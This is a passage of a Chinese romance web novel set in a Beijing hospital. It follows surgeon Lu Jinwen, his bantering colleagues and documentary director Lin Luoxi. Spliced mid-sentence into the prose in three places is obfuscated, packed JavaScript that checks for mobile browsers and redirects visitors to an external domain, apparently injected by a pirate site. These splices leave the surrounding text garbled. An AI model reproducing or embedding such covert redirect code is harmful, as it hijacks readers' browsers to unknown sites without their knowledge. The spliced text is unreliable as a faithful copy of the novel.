乔琳冷眼:“你要发挥什么?” “这要是在一个校区,陪上课陪泡图书馆陪吃饭,怎么着也能追到手了,”他松了松肩膀,一副要上阵打擂台的架势,“我现在真是一身劲儿没地施展。” “你可别在这儿瞎白话儿了,真的,有时间照照镜子,就人家那个长相,怎么着也得——”似乎是为了让庞征认清楚自己几斤几两,乔琳目光往后一转,想要寻找一个让他死心的参照物。然后,她看着程厉,目光在他身上停留了几秒,便掠过他,径直看向了站在角落里的陆谨闻,“陆医生这种级别的才配得上。” 程厉:“?” 电梯到了,一行人渐次走出,似乎是预感到乔琳拔腿就要跑,程厉先行一步拦住她:“欸!等等等等!” 乔琳被迫止住脚步。 陆谨闻知道程厉下了手术台就没个正行,倒也见怪不怪,径直往前走了。 对他们接下来要聊的话题没有表现出丝毫的兴趣。 “师哥,我知道你想问什么,但我劝你最好别问......”乔琳看着程厉,很认真地说,“容易丢面子。” “......”程厉一口气堵在胸口,佯装无所谓地瞥了陆谨闻一眼,“行,我承认,跟那人比起来,我确实是稍微逊色了那么一点点,但你师哥我长得也不差吧,得是多顶天的美女,来,让师哥瞧瞧照片。” “没照片。” “你不是有人家微信?” “嗯,但她不发朋友圈。” “头像呢?” “头像也不是自拍,是个动漫人物。” 程厉对动漫不感兴趣,自动略过这个话题,开始打听名字:“叫什么?” “月岛雯。” “岳岛雯?”程厉觉得这名字还挺罕见,“姓岳?叫岛雯?” “......”乔琳无语,“姓月岛,叫雯。” 程厉一头问号:“还有这姓?” 乔琳无奈地叹了口气:“三岁一代沟,这话真没错。” 程厉:“?” “师哥,”乔琳耐着性子解释,“我是说那个动漫人物叫月岛雯。” “谁问你动漫人物叫什么了?我问那美女叫什么?” “林洛希。” 程厉这才会心地点了点头:“听刚才庞征那口气,不是咱们医学院的?” “师哥,你刚从美国回来可能不知道,”庞征跑上前说,“咱医院正在拍一部纪录片,她是编导。” “编导怎么了?三百六十行行行平等,编导我们又不是高攀不起!所以——”程厉莫名被激发了好胜心,想起刚才的账还没来得及算,旧事重提道,“乔琳,你过来给我解释解释,你刚才那眼神是什么意思?” 乔琳:“......” 前方快走的那个人不知道何时放慢了脚步。 在乔琳和程厉面面相觑时,他转过身来,看着程厉,沉沉一笑: “你高攀不起的意思。” 4. 【04】 程厉:“......” 真是够了,我不要面子的吗! “陆谨闻,你给我等着!我今天非得......”边说着,程厉边快步往前走了几步,一副要跟他干架的阵势。 谁成想,阵势还没做足,就看到一个熟悉的身影,从侧边的走廊里走了出来。 来人穿着白大褂,气质温文尔雅。虽已过知命之年,鬓角微白,但气度丝毫不减,眉眼间尽是岁月沉淀过的稳重与淡然。 看到盛怀景,程厉瞬间敛了士气,跟个小姑娘似的,跑到他面前“告状”:“盛教授,您瞧瞧陆谨闻,他多损呢,当着这么多人的面嘲笑我......” “你跟他一个单身狗生什么气,一天天地就属他会画大饼,”到底是亲自带出来的学生,盛怀景是一点面子都不给陆谨闻留,接过程厉的诉状,跟他站在同一阵线,“一个女朋友都没谈过的人,说起别人来倒是一套一套的。” “......”陆谨闻听了很无辜,“您这可就人身攻击了啊。” “人身攻击?”盛怀景朝前走了几步,“说人家高攀不起,你倒是高攀得起,你去攀一个我看看?” 陆谨闻这次倒是很上道,点着头,很恭敬地应了句:“谨遵师言。” “就你嘴贫!”盛怀景当他说了个乐子,一笑而过,“走吧,先进去开会,开完会咱再好好唠唠这事儿。” 有盛怀景在,程厉那腰板挺得特别直,目光大胆睨过去,似是在说:陆谨闻,这就是你得罪我的下场。 言外之意,让你挖苦我,你等会儿就等着听唠叨吧。 没想到,陆谨闻低笑一声,悠悠然道:“这下场还挺好。” 程厉:“?” - 会议接近尾声时,天色也悄然踱步至傍晚,云霞烧开蔚蓝的天,风生出一种宁静的壮烈。 陆谨闻放在桌面上的手机,沐在这片霞光里,连着亮了好几下。 怕是有关病人的事情,他丝毫不敢怠慢,赶忙拿起。 一看,竟然是席砚卿。 要说起两人的渊源,那真是能往回追溯好多年。两人从小就认识,之后又在国外重逢,一个就读医学院,一个就读商学院。 席砚卿于几年前回国,现任风盛投行总裁。 两人工作都忙,因此,看到这条突如其来的消息,陆谨闻还以为他是要给自己接风洗尘。 结果,点开对话框一看,他发来的,却是一张证件照。 照片上的人穿着一件白衬衫,长发如瀑般垂在身后,颈项白皙修长,唇角笑意浅淡,一双眼睛似被初雪浣洗过,美得清灵生动。 只一眼,陆谨闻就认出了照片上的人。 随后,他的目光像是被烫着了一般,下意识地看向窗外的夕阳。 ——像是在寻求一些东西过渡。 就像,人们看到太过惊艳的风景,第一反应往往是先眨眨眼,自行确认过不是梦境后,才敢肆无忌惮地欣赏与品鉴。 此刻,窗外是灿烈的夕阳,千万缕霞光杀出重围,妄图媲美满城春色。 都说黄昏是人世间最盛大的浪漫。 可他觉得,再盛大的浪漫,都不及她好看。 所以,那受惊的目光,还是折返。 这一折返,不仅让他确认了那不是梦,也让他确认了自己的再次心动。 陆谨闻在心里长舒了一口气,心想:要是没有早上的那一见,他恐怕此刻的自己,是真的会不顾场合地拍案而起。 还好,心中早已经历过一场风声鹤唳。 所以,才能将此刻的澎湃心绪,伪装成无波古井。 这一趟心路历程走完,再一低头,只见对话框里多了两行字。 【她是你要找的人吗?】 【名字是这三个字——】 陆谨闻目光上移,看到状态栏显示对方正在输入...... 几秒钟后,那三个字如他所料的那般出现在屏幕上。 【林洛希】 三个字,轻而易举撬动起记忆的海沟,漫溢出迫切心理。 陆谨闻满心疑惑,拿出手机打字。 指尖有些控制不住的微颤。 【是】 【你这什么情况?】 【你怎么会有她的照片?】 发完,那边没动静。 陆谨闻连着发过去好几个问号。 【?】 【??】 【???】 【人呢??】 还是没动静。 陆谨闻忍无可忍。 心间的话和指间的话一起发出。 【席砚卿,你不是人】 说巧不巧,他刚把消息发送出去,就听到盛怀景在讲台上说了句:“那今天就先到这儿,各位辛苦。” 底下响起此起彼伏的应答声:“盛教授辛苦。” “都赶紧去吃饭,”盛怀景生活里和蔼得很,没一点儿架子,“身体是革命的本钱。” 话都说到这儿了,于是陆谨闻再次谨遵师言。 拿起手机,二话不说,起身就往外走。 他是真着急,想去打个电话。 结果,走到一半,被叫住。 “陆谨闻!” 转过身,看到盛怀景站在讲台上,正气定神闲地朝他摆着手,示意他过来。 陆谨闻:“......” 盛怀景,作为胸外科主任,同时兼任京大医学院的教授,既是业界权威,又得桃李天下。虽然盛名在外,但他并非是每天不苟言笑、学生见了腿都打颤的高冷人设,反倒心态非常年轻,该严肃时严肃,该亲和时亲和,总之就是该论什么事就论什么事,绝对的公私分明。 尤其是对待学生,他一向是该严格规训时绝不心软,但关心起他们的私人生活来,也是个十足的八卦小老头。 就比如,现在他就是后者。 “着急忙慌干啥去?”盛怀景问。 “我上午做了个手术,患者这会儿应该醒了,我得赶紧去看看。” “你少在这儿给我瞎掰扯,”盛怀景毫不留情地戳穿他的谎言,“要真是病人的事,你早就跑出去了,会这么听话,我让过来就过来?” 陆谨闻哭笑不得:“盛教授,我真有事儿。” “我也是真有事儿。” 陆谨闻妥协:“成,那您先说。” “回国后还没来得及去看你父亲吧?” 盛怀景与陆谨闻的父亲陆潮生是挚友,两人私交甚笃,陆谨闻是他从小看着长大的孩子。三年前,京溪大学在深圳开设分校,陆潮生肩负重任,调至深圳。恰逢那年,陆谨闻学成归国,本以为一家人终于能团聚,结果却成了一南一北。 所以,对待陆谨闻,盛怀景那是真的像对待自己的亲生儿子一样。 “我昨天刚回的国,上午做了个手术......”陆谨闻开始一本正经地理时间线。 “下午传道受业解惑?”盛怀景笑着,接上一句。 “不敢当,不敢当,”陆谨闻听了忙摆手,“有您在,我哪能担当得起这几个字啊。” “你少在这儿给我贫!”盛怀景没忍住笑,随后又很快地收回笑意,正经道,“我前几天去深圳出差,见了你爸。” “这事我知道,我俩通过电话。” 盛怀景意味深长地看了陆谨闻一眼,语重心长道:“现在社会开放了,思想自由了,每个选择都值得被尊重,那换个角度,你们年轻人,是不是也得站在我们这一代人的立场想一想?你都二十好几的人了,业立了,家也得成,是不是?也不是非要你怎么样,但至少,你得试一试,是不是?” “是是是,您所言甚是。” “天底下再开明的父母,也希望自己的孩子能家和万事兴。” “是是是,您所言甚是。” 他连连点头,盛怀景却没觉得多受用,只觉得蹊跷,“你这孩子什么情况,今天怎么这么听话,你别是在跟我搞什么迂回路线吧?” “什么迂回路线?” “就是口头上答应得好好的,但转眼就忘了,该吃吃该喝喝,啥话都不往心里搁。” 听着这一套一套的词,陆谨闻没忍住笑:“这说法我都没听说过,您还挺潮流。” “你少在这儿给我转移话题!” 说了这么多,陆谨闻早就知道盛怀景用心何苦了。 “我说盛教授,您就别操心了,给我点儿时间,今年肯定领姑娘进家门,行不行?下次我爸再问您这事,您就让他把心放肚子里。” “你瞧瞧,又开始画大饼了,还领姑娘进门?”盛怀景数落道,“你怎么不直接领孙子进门呢?” “生孩子这事儿得看人家姑娘的意愿,”陆谨闻说得一本正经,“我说的不算。” 盛怀景一听就知道他又是在瞎扯,索性也懒得理他了,拿起东西就往外走,临了,还是控制不住地以恨铁不成钢的语气撂了句:“你上点儿心吧!” “一定上一定上,”陆谨闻推着他的肩往外走,话里溢着笑,“等会儿,我给您订个稻香村。” “你给我订稻香村干什么?” “您说的,上点心。” “你这孩子!”盛怀景胳膊一抻,嫌弃地掸落他的手,“走走走走走!别烦我!” 陆谨闻眉梢一扬,抬腿就往外跑,还不忘回一句:“得嘞!” 盛怀景:“......” 真是愁人。 - 外科病房。 孟航还没完全从麻药中苏醒,但好在生命体征一切正常。 方静后来不知道从哪里得知今天早上发生的事情,看到陆谨闻,连忙道谢:“谢谢你,陆医生,要不是你恰好来医院,我家孩子真不知道该怎么办了。” “分内之事。”说完,陆谨闻又询问了几句关于孟航的情况。 “半个月前,这孩子总说胸口痛,我们就先去社区诊所看了,医生说建议我们去医院拍个片子,结果来医院一查,就被诊断成胸腔......”方静顿了顿。 陆谨闻接上:“胸腔纵膈肿瘤。” “对,就是这个名字,然后我们就尽快办理了住院,昨天做了手术,手术很成功,昨天晚上也没出现任何不良反应,各项指标都很正常,就是没想到......”一说到这儿,方静就情难自控,“没想到我早上就眯了那么一会儿,他就趁人不注意跑出去了,唉,都怪我......”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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男女主通过一张借书卡相识,然后一起成长,成为了更好的自己。很简单也很童话的一个故事,寥寥几行,故事脉络便理清楚了。 他还想深入了解更多,手机却没有任何预兆地响了起来。 那边言简意赅:“急诊。” 他步伐骤然加快。 暮色西沉,繁星初上,看来又是一个难眠夜。 - 纪录片团队分早晚两班,做完交接工作,林洛希踏着夜色坐上回校的地铁,下地铁的时候时钟已经过了九点。这一天跑前跑后,根本就没闲下来过,现在,她只想赶紧回到寝室,洗个澡,把今天的素材整理一下,然后尽早上床睡觉。 到寝室的时候,迟臻臻正翘着二郎腿在煲剧,手边的零食铺了满满一桌。 听到门响,她转过身,眉眼都笑开:“希希宝贝,你回来啦。” “嗯。”林洛希把包放在书桌上,舒展了一下身体。 “工作第一天累不累?”迟臻臻招呼道,“快来吃草莓,我刚从冰箱里拿出来,还冰着呢。” 林洛希走到她身边,拿起一颗草莓尝了口,酸甜可口的凉意瞬间溢满唇齿,溢出一层唾手可得的快乐。 “好甜呀!”她眉眼弯起。 “你爱吃就行,这都是给你买的,”见她只拿了一颗,迟臻臻把满满一玻璃碗的草莓一股脑地塞到她怀里,“你拿到你桌上吃吧,吃不完就放冰箱里。” “冰箱?”林洛希诧异,宿舍里哪来的冰箱。 “这不夏天要到了么,我买了个冰箱。”迟臻臻指了指左手边的方向。 林洛希一回头,才发现衣柜旁边的置物架上,放了个粉红色的小型冰箱。 林洛希在心里默念了句厉害。 迟臻臻,真不愧是享受生活第一人。 感叹完,林洛希折回目光,无意间在迟臻臻的电脑屏幕上一晃,意外捕捉到一张似曾相识的脸,一回想才发现这就是昨晚被她定义为“渣男”的那个演员。 “这剧昨天不是都把你气哭了么?你怎么还在看?” “那什么,我又往后看了两集,才发现我误解我偶像了。” “嗯?” “那个角色不是渣男,他之所以那么撩是有原因的,人家俩之前就见过面,”迟臻臻摇头晃脑地说着,看起来心情极好,“我就说么,我的男神怎么能演渣男,这分明是个情种!看来我那个渣男定律,下得有些草率了。” 林洛希:“............” 好一个自我否定,自我推翻,自我反省! “臻臻。”她突然叫了声。 “嗯?”被叫到的人转过头,“怎么了?” 想起今天中午的社死现场,林洛希在心里默默叹了一口气,末了,她只是拍着迟臻臻的肩,百感交集地说了句:“你说你昨晚就有这样的觉悟,该有多好。” “嗯?”迟臻臻一头雾水。 “没事,”林洛希觉得不解释也罢,“你好好看,可别再误解你偶像了。” “......” 5. 【05】 翌日早晨,林洛希在闹钟声中醒来,轻手轻脚地走到卫生间洗漱,收拾好之后,又轻手轻脚地关上门,唯恐吵醒还在睡觉的迟臻臻。 结果,刚垫着脚走出卫生间,一个有气无力的声音就从头顶落了下来。 “希希,你开灯吧。” “你醒啦?” “嗯......” “今天怎么醒这么早?” 床上的人叹了口气:“等会儿要去找导师。” “那我开灯啦,”林洛希贴心提醒道,“会晃眼,你捂一下眼睛哦。” “嗯......”迟臻臻懒洋洋地应了声,身体依然很诚实地趴在床上,没有任何要下来的意思。 林洛希抹好防晒,都要换衣服了,见她还没下来,提醒了句:“你跟导师约的几点,别晚了啊。” “我现在就下来......”说完,这位大小姐终于从床上坐了起来,一边下床一边感慨,“唉,分分分,学生的命根,文文文,那就是研究生的命门啊!” “怎么了这是?”林洛希问。 “我有篇文章被退稿了,”说到这儿,迟臻臻忍不住又叹了口气,“你信不信,等会儿去见老张,他肯定先对我进行灵魂洗礼,然后就是降维打击。” 迟臻臻口中的老张名叫张民幼,是迟臻臻的导师,也是经济学院的副院长,德高望重,教学风格以严厉著称。 “其实我发的文章已经达到毕业要求了,所以看到拒稿信,我就小声嘟囔了一句‘退稿就退稿呗,反正能达到毕业标准就行’,结果被老张听到了,你猜他说啥?” 林洛希转头看她:“说什么?” 迟臻臻两手叉腰,模仿着自己导师的语调,把林洛希当成受训的自己,振振有词道:“身为我的研究生,发一篇文章就想毕业,你少在这儿给我丢人了。就这点儿学术追求还来读京大,你这叫浪费教育资源!” 迟臻臻长着一张圆脸,瞪着眼睛发起火来,像是一只生气的河豚。 林洛希被她这模样逗笑。 “你知道我当时心里想什么吗?” “想什么?” “有的是人不浪费,但他们就是考不上啊!”迟臻臻轻哼一声,“你说气人不气人。” “简直气死人了呢!”林洛希为她“打抱不平”,语气莫名带了丝娇嗔。 “难道读名校就一定要有宏图大志吗,我就是想拿个毕业证不行吗,他以为谁都跟你一样,C刊闭眼发。” 林洛希淡淡瞥她一眼:“夸过了。” “欸,希希宝贝,”似是想到什么,迟臻臻倏地转了个话题,“我昨天都忘了问你,在风盛工作感觉怎么样?” 闻言,林洛希正在拉裙子拉链的手猛然一滞。 还没来得及回答,就听到她又问:“听说风盛总裁特别帅,你见了没?” 林洛希摇头。 “我还是听孙桐说的,你知道吧,就法学院那个眼高于顶的师姐,她不是在天泽律所实习嘛,说是工作的时候见过他一次,把他夸得那叫一个天花乱坠,说什么长得惊为天人,是她见过的世界上最帅的男人。” “......” “你要是有机会见他能不能给我偷拍一张照片,”提起帅哥,迟臻臻的睡意顷刻间消散,惺忪睡眼都闪着光,“这人太低调了,网上连张照片都没有,我也想见见能被孙桐夸成是‘世界上最帅的’那个男人长什么样。” 趁迟臻臻说话的功夫,林洛希已经换好一双帆布鞋,从座椅上站了起来。继而,她余光一瞥,看到昨天换下的那件白色T恤,以及衣角左侧印着的那个英文单词。 Intuition. 清晨阳光均匀疏浅,有几缕落在其上,将那个倾斜字体,衬出了些微细闪。 似是一种隐喻。 “应该是师姐夸张了。”她突然出声。 迟臻臻愣了愣:“嗯?” 林洛希眉眼微敛,看了眼那个英文单词,又倏地收回。 紧接着,也不知为何,就冒了句:“或许还有更帅的。” 虽然有个更字,但她知道,这句话无关比较。她没有见过风盛总裁,所以定不出客观标准。 她这个定论,完全是基于主观认定。 一种无须对比、无须衬托、甚至无须了解就能笃定的主观认定。 也是在这一刹那,她突然间福至心灵,咂摸出了直觉一词的含义。 或许,有些人,哪怕只是萍水相逢,你也能凭直觉认定—— 他担当得起所有美好的形容词。 甚至,仍觉不够。 还要在那些形容词前面加个“最”字。 - 为了不给迟臻臻打破砂锅问到底的机会,说完这句模棱两可的话,林洛希便利落地拿起东西跑了出去。 “我先走啦,晚上回来再聊哦,臻臻宝贝。” 留下迟臻臻一个人风中凌乱。 出了寝室楼,林洛希先去食堂吃了个早餐,然后按照既定的路线坐上地铁。 她不喜欢挤早高峰,所以宁可提早一些出门。这会儿,地铁人还不算太多,她找了个靠边的位置坐了下来。 正准备戴上耳机,邻座的一则对话先行闯入了她的耳朵。 “昨天凤栖路发生连环车祸了你知道吗?” “听说了。” “刚我看新闻,说是有人在人行道飙车,速度失控直接飞了出去,撞上一辆大货车,那货车后面还跟着一辆公交车,本来这两辆车隔着安全距离,结果他这一撞,直接让大货车发生侧翻,重要的是那辆货车上载的还是钢筋,受到撞击直接掉了下来,导致后面那辆公交车上的司机和前排乘客直接重伤。” “卧槽!那人有病吧!” “他还真有病,说是反社会人格。” “反社会人格?我他妈?!”那语气猛地一转,“他自己想死自己找个地方死就行了,干嘛连累这么多人啊,这种人就该被判处死刑!一命偿一命都不够他偿的!” 两人的对话声还在继续。 林洛希拿出手机开始搜索相关新闻。 纵然昨天就在医院听到过一些有关事实真相的碎片化信息,但现如今,一个夜晚过去,当她通过这些详实的报道,拼凑起愈发全面的事实,她还是忍不住蹙眉。 这场伤亡惨重的意外,追溯至源头,竟然是这样一个荒诞的起因。 却荒诞到,让人不寒而栗。 她拳头下意识握紧,不由想起导演陈不语在开拍前说过的那段话:“医院不同于其他场所,这里直面的是生死,你们会因生命的脆弱落泪,也会因生命的坚强落泪。会看到这个世界上情比金坚的情义,也会看到剧本都预设不出的荒诞现实。” 地铁在回忆中无声靠站,刚才说话的两个人也从座位上站了起来,走到林洛希这侧的车门准备下车。 关于这件事的讨论也暂时画上了一个休止符。 “还好所有伤者都被就近送进了京医,没有人员死亡。” “京医永远的神!”突然扬起的音调里,带着一种无需追索的信任。 - 夏日的天一向亮得早,被封神的地方,早已迎来第一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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虽然没了观众,但丝毫未浇灭这两位戏精的热情。 甚至,其中一人还当起了编剧,自行猜测起了剧情,好把陆谨闻这一系列反常行为,规划进符合逻辑的范畴里。 “欸,老程,”沈明承边说着边脱下手术服,“他是不是在国外的时候泡了个外国妞,这一回国思念成疾了。” 想了想,又补充道:“你算算时差,正好对上,咱们这儿早晨,人家那儿晚上,或许刚下班,没联系上人着急呢。” “那不可能,”程厉很果断地摇头,“他天天就是学校、医院、公寓三点一线。再说了,他要真谈恋爱了我能不知道?” “那或许......”沈明承顿了顿,为陆谨闻的行为找补着合理的解释,“是炮友?” 程厉像是听到了一个天大的笑话,忙说:“这更不可能。” “怎么呢?” “我就住他隔壁,一墙之隔,那公寓一天到晚的......”程厉狡黠地眨了眨眼,“贼安静,懂了吧?” “正经人谁在公寓啊?”沈明承笑声一沉,话里暗示意味十足,“人家就不能在外面完事再回去?” 头回听到这个可能性,程厉还真的一本正经地思考了起来。 只见他极为认真地计算了一下陆谨闻回到公寓和离开医院的时间差,然后,下意识地脱口而出—— “那他时长也太短了吧。” 6. 【06】 正说着,屁股突然被人踹了一脚,程厉一回头,就看到陆谨闻站在他身后,眼神锋利得能直接杀死人。 “你俩闲出病了?”陆谨闻冷眼。 沈明承&程厉:“......” 卧槽,入戏太深,忘了“曹操”还在这儿了。 “精神科,十三楼,有病就去挂个号。” 说完,陆谨闻扬长而去。 至于沈明承和程厉,只能面面相觑。 沈明承瞪着程厉,用眼神控诉:我就随口那么一问,你那么认真干嘛? 程厉回瞪着沈明承:沈明承你大爷的!你现在怪起我来了?不知道哪个憨批想的魔鬼剧情,陆谨闻去约炮这种剧情,也就你这个智障想的出来。 沈明承:你才智障!现在的重点是约炮吗!现在的重点是时长啊!那有关男人的尊严!你那话一出口就等于直接说陆谨闻不行你知道不知道! 程厉:还不是你先提的! 沈明承:别骂了别骂了!快想办法! 程厉胳膊一抬,示意沈明承:Follow me! 下一秒,两人默契十足地快步追上陆谨闻。 程厉自行把刚才那件事翻篇,就跟什么都没发生一样,面不改色地同陆谨闻唠起了家常:“值了个大夜肯定累了吧,一起去‘早点间’吃点饭?好久没见赵叔了,还怪想他呢。” 沈明承附和道:“对对对,吃饭去,老程请客!” “凭什么我请?你怎么不请?” “要不咱俩AA?” “谁要跟你AA?你谁啊,我跟你熟吗?” “那要不,AAB也行。” “AAB是什么鬼?” “就是你俩AA,我舔着B脸去吃。” “......” 然后,两人就谁请客的问题,愣是这找补一句、那划拉一句地聊了一路,嘴就没停过。 陆谨闻算是看明白了。 其实,这俩戏精计较的根本不是这顿早饭钱。 之所以在这儿你一句我一句的,怒刷存在感,其实就是想用眼前这幕戏,去压压刚才那幕戏,妄图通过浑水摸鱼的方法,让他忘了刚才那件事。 可能吗? 当然不可能。 陆谨闻懒得理他们,大步迈上了天桥。 - “早点间”早餐店位于医院正门对面,与医院相隔一个天桥。店铺面积不大,装修也很简单,但胜在店面干净,味道也纯正。 老板名叫赵望,五十来岁,为人老实正派,一向是诚信经营,童叟无欺。 赵望的妻子丁黎曾是京医的一名护士,几年前因癌症不幸离世,赵望便辞去原来的工作,来医院对面开了这家店,既陪孩子,也陪妻子。 早餐店本就是个小本生意,再加上赵望心思软,看到有些从远地方过来治病、手头还不宽裕的人,更是不忍心收什么钱,还常常给人家送东西吃。这样一来成本就大大增加了,所以纵然有时候忙不过来,但考虑到收支平衡,赵望也没想过再请一个人。 所以京医的医生,只要时间允许,很多人都会来这边吃饭,顺带着帮帮忙。 “赵叔。”陆谨闻推开门,喊了声。 “小陆医生,”叫起年青一代的医生,赵望总会在前面加一个“小”字,听起来有种很自然的亲昵,“好久不见啊,什么时候回来的?” “前天,”陆谨闻微微颔首,“昨天工作忙没顾得上来看您。” “你看你这孩子,说这话就外道了啊,”边说着,赵望又看到进来两个人,赶忙招呼道,“小沈医生和小程医生也来了啊,快坐快坐。” “您唠您的,”程厉说,“我们都轻车熟路的,自己来。” 赵望笑得憨厚:“成,那你们随便吃,管饱。” “赵惊蛰呢?”陆谨闻问,“周末也没回来?” 赵惊蛰是赵望的女儿,二十出头,在京大医学院读书。 “回来了,”赵望笑,“说要早上起来帮我忙,我偷偷把她闹钟给关了,知道你们学医辛苦,这好不容易回家了,让她好好歇歇。” “您也是,别太劳累,”说着,陆谨闻把手中的书递给他,“这本书您拿给她,本来说昨天去学校给她的,结果没去成。” 那是一本英文原版的医学书,精装封面,黑金烫字,厚度相当可观,拿在手里,分量不轻。 赵望赶忙接过,举手投足间满是视若珍宝的谨慎。 “小陆医生,”虽然不知道具体价格,但看着书的质感,赵望也能猜出个八.九不离十,“这书可不便宜吧?让你破费了。” “您说这话可就外道了,主要是这书国内还没出翻译版本,她求学心切,我正好在国外,就给她带了,举手之劳而已。” “你送她的书可不止一本两本了,我都听惊蛰说了,”赵望拿书的手指莫名紧了紧,“国外版权意识那么强,出版物比咱这儿贵的可不是一星半点,我这......” “您要实在觉得过意不去,”陆谨闻轻声打断,“等会儿送我个鸡蛋。” 他说得一本正经,就好像双方是在进行一场公平的交易,不存在厚此薄彼。 可正是因为他每次付出后都要“索要回报”的这一行为,赵望才心头一热。 他心里清楚,这回报比,是这世界上顶不合算的买卖。 但眼前这个年轻人,却用“索要回报”这一方式,轻而易举地合理化了双方的行为,卸下了他心上的负担。 赵望摩挲着封面上的烫字,仿佛是在抚摸着自己女儿的未来,“主要是,这么重的书,还辛苦你亲自从美国背回来,惊蛰这孩子也是......” 陆谨闻饶有耐心地听着赵望的家长里短,并没有打断。 但不知何时,他耳边的声音自发淡了下去。 他余光只是随意一瞥,便于玻璃窗外,意外又惊喜地捕捉到了一个熟悉的身影。 那人正踩着台阶,缓缓向下,身姿窈窕,步履轻盈,沐在晨光中的侧脸,尤为柔和干净。 或许是入眼的风景太过惊艳,无端的,陆谨闻晃了一下神。 敛眉须臾,再抬眼望过去,眼底便覆了层如水的温柔。 她今天穿了一身白,雪纺衫轻柔飘逸,半身裙褶皱立体,笔直白皙的小腿裸露在外,打眼得很。此时正值初夏,几缕晨光停 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15574890|171517||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 泊在她肩头,似为她披上了一层薄纱,不动声色,却将她衬出一种人间烟火的美丽。 她穿白色很好看,就像是白瓷瓶里插水仙,同谱的白,也能被她演绎出错落有致的美。 他就这样,在她看不到的地方,倍感珍惜地注视着她的行动轨迹。 这种感觉,就像是偶然觅得一份意外之喜,心生雀跃,绞尽脑汁想要聊表心意。 可挑挑拣拣,能衬得上她的礼物,还是大家都耳熟能详的那一句:“北方有佳人,绝世而独立。” 他一边在心底默念这阙诗句,一边琢磨着她为什么在这侧出了站。 难道是,还没吃早餐? 那她,会不会也光顾这家店? 那他,要以怎样的方式跟她问好? 正想着,只见她突然右转,看向了他所站的方向。 这目光太过平直,让他觉得下一秒两人就能对视。 陆谨闻心思一颤,正揣度着如何回视她的目光,却见她脚步倏地一顿,脸上露出几许疑惑神色,踟蹰片刻后,他便见她,利落地转过了身。 这一下,留给他的,只能是背影。 陆谨闻看着她的背影,看到她微微侧头,盯着面前的地铁站指示牌看了好一会儿,然后,又看到她脚步一抬,快速地跑上了刚刚才下来的天桥。 看完她这一套下行又上行的反常操作,陆谨闻这才反应过来。 这姑娘之所以在这侧下了楼梯,根本不是为了吃饭,而是—— 下地铁时出错站口了。 A口出成了B口。 想到这儿,他没忍住,低笑出声。 笑归笑,眼睛却没闲着。 他用目光,继续追寻着她的身影。 看她被风吹起的裙摆,看她轻盈如风的脚步,看她原路返回,也看她迷途知返。 甚至,他连她刚才回望过来时,眼里那一份转瞬即逝的讶然,都看得真切。 应该是不知道自己出错了口,转身一看才发现入眼的风景和自己设想的不太一样,所以她才会顿住脚步,现出几分疑惑神色。 清秀眉眼一挑,衬出几分娇俏,却毫无造作之态。 陆谨闻甚至能想象出她嘟起嘴,下意识发出的音节,是一个扬起音调的“嗯?”字。 知道是自己出错了站口之后,她便利落地转过了身,踏着初晨还不算浓稠的阳光,再次走入了人群。 微风吹过,漾开她的裙摆。 那一团如烟似雾的白,像风织就的云,也像四月纷扬的柳絮。 踏着春色而来,强势地霸占你的目之所及,撩得你春心欲动。却在本该更加浓郁的初夏时节,悄无声息地离开。 柳絮褪尽,留给这座城,一片杨柳依依。 佳人退场,留给你眼底,一派翠绿清明。 只不过。 柳絮不讨喜,佳人却讨喜。 从她出现在他的视野开始,这一场默剧,一直到落幕,陆谨闻始终都不曾移开眼。 直到那个身影彻底消失在视线,他才收回目光,眼底风涌起一片不自知的潋滟笑意,将声音落得又温柔又轻: “小路痴。” 7. 【07】 “说谁是小路痴呢?”赵惊蛰不知何时从后面出来了,走到陆谨闻身边,顺着他的视线看过去,又看过来。观察片刻后,只听她直言不讳道:“我看倒是你,比较像个大花痴。” 话音刚落,陆谨闻还没来得及做出回应,就看到赵望一抬手拍了过去,呵斥道:“你这孩子,怎么跟陆医生说话呢?没大没小!” “爸,您轻点!”赵惊蛰揉着自己的脑门,“这脑袋将来还得用来救死扶伤呢,您打坏了可怎么办!” “皮糙肉厚的,打不烂,”到底是亲闺女,赵望真的是一点面子都不给,“你脸洗了没就跑出来,赶紧洗脸去,别等会儿把客人都吓跑了。” “洗了洗了!” “洗了怎么还跟没洗似的!” “......”赵惊蛰简直无语死了,“爸,我男神在这呢,您就给您闺女留点儿面子吧。” “你就这么对你男神说话的?” “那我还能怎么说话,”赵惊蛰从父亲手里拿过那本沉甸甸的医学书,视若珍宝地把它抱在怀里,“是我男神,又不是我男朋友,用不着顾忌形象。” 赵望:“......” 趁着两人都安静的空档,陆谨闻终于觅得时机,赶紧见缝插针地说了句:“赵叔,我有事就先走了,下次再过来看您。” 说完,就推开门跑了出去。 “你这孩子,好歹把早饭吃了啊......”赵望看着他跑远的身影嘟囔。 “哎呀,爸,您就啰嗦了,”赵惊蛰扶着赵望的肩膀往里走,“我等会儿打个包,让程师哥他们带过去不就行了。” “那也行,那你动作麻利点儿,别让人家等。” “知道了,我的速度,您放心!” 赵惊蛰眼疾手快地打包了一份早餐,递到程厉跟前,说:“程师哥,这是给陆师哥带的早餐,你等会儿给他带过去吧。” “他人呢?”程厉问。 “走了。” 